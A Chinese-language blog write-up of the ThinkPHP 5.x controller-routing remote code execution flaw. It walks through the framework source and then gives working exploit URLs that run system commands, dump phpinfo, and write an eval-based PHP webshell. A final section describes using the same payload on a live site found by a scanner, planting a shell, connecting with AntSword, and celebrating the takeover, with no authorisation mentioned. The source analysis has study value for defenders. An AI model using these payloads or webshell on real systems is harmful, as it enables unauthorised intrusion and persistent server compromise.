漏洞描述

Thinkphp5.x版本中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。

影响版本:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.1.31

漏洞分析

首先在/thinkphp/library/think/App.php的run()主函数中,url传入后需要经过路由检查

1
2
3
4
5
6
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
......

跟进self::routeCheck函数

1
2
3
4
5
public static function routeCheck($request, array $config)
{
$path = $request->path();
........................
}

进入/thinkphp/library/think/Request.php的path()函数

1
2
3
4
5
6
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
......

跟进pathinfo()函数,这里进行url解析,获取路由中的各个部分内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}

其中var_pathinfo参数即为系统默认参数,默认值为s,通过GET方法将获取到的var_pathinfo的值,即s=/模块/控制器/操作/[参数名/参数值…]的内容送到routeCheck()函数中$path参数进行路由检查处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function routeCheck($request, array $config)
{
$path = $request->path();
......
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}

若路由寻不到对应操作,即返回$result=false,且开启了强制路由$must的情况下,就会抛出异常,并最终进入Route::parseUrl函数,进行$path解析,以上就进入了我们的漏洞触发点:

/thinkphp/library/think/Route.php

1
2
3
4
5
6
7
8
9
10
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{
if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
......

首先,在该函数中进行url解析,然后,进入到parseUrlPath函数,根据/对包含模块/控制器/操作的URL进行分割成数组然后返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}

最终在parseUrl()函数中,将返回的$path提取出路由,即module、controller、action,然后封装到$route后返回

1
2
3
4
5
6
7
8
9
10
11
12
$route = [$module, $controller, $action];
// 检查地址是否被定义过路由
$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
$name2 = '';
if (empty($module) || isset($bind) && $module == $bind) {
$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
}
if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
}
return ['type' => 'module', 'module' => $route];

回到thinkphp/library/think/App.php文件的run()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
$data = self::exec($dispatch, $config);
.......

在完成RouteCheck后,进入到exec()函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
.........................
}

在该函数中,首先路由信息首先进入module()函数进行检验,该函数首先查看该路由中的模块信息是否存在且是否存在于禁止的模块类表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}
$request = Request::instance();
if ($config['app_multi_module']) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;
if ($bind) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
$available = true;
} elseif ($module == $bindModule) {
$available = true;
}
.......

模块存在的话,继续往下跟踪,分别将模块中的controller、actionName经过处理后赋值到$instance$action,最终$instance$action被赋值给了$call参数。最终$call参数进入了self::invokeMethod()进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

在函数中,通过反射ReflectionMethod获取controller(method[0])和action(method[1])对象下的方法,然后通过$args = self::bindParams($reflect, $vars);获取到传入参数(也就是Payload)。

最后在调用反射$reflect->invokeArgs($args);,将Payload数组传入反射对象函数invokeFunction,通过构造好的参数,可执行任意代码。

1
2
3
4
5
6
7
8
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}

漏洞复现

docker环境:Thinkphp5 5.0.22/5.1.29 Remote Code Execution Vulnerability

  1. 利用 system 函数远程命令执行

    http://121.40.95.148:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    image-20210913233136968

  2. 通过phpinfo()函数显示PHP信息

    http://121.40.95.148:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

    image-20210913233326906

  3. 写入shell

    http://121.40.95.148:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=./test.php&vars[1][]=<?php @eval($_POST[cmd]);?>

    image-20210913234200819

实战应用

通过漏扫工具检测到某站点可能存在poc-yaml-thinkphp5-controller-rce

直接上payload,可查看phpinfo

image-20210913205818270

但执行不了系统命令,禁止了system()、assert()等函数

image-20210913205950246

尝试写入shell,成功!

image-20210913210422113

顺势蚁剑连接,getshell成功!

image-20210913210704307

第一个高危漏洞拿下!

image-20210913211441980

参考

https://www.secpulse.com/archives/93903.html

https://y4er.com/post/thinkphp5-rce/

https://drunkmars.top/2021/04/14/thinkphp%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E6%80%BB%E7%BB%93/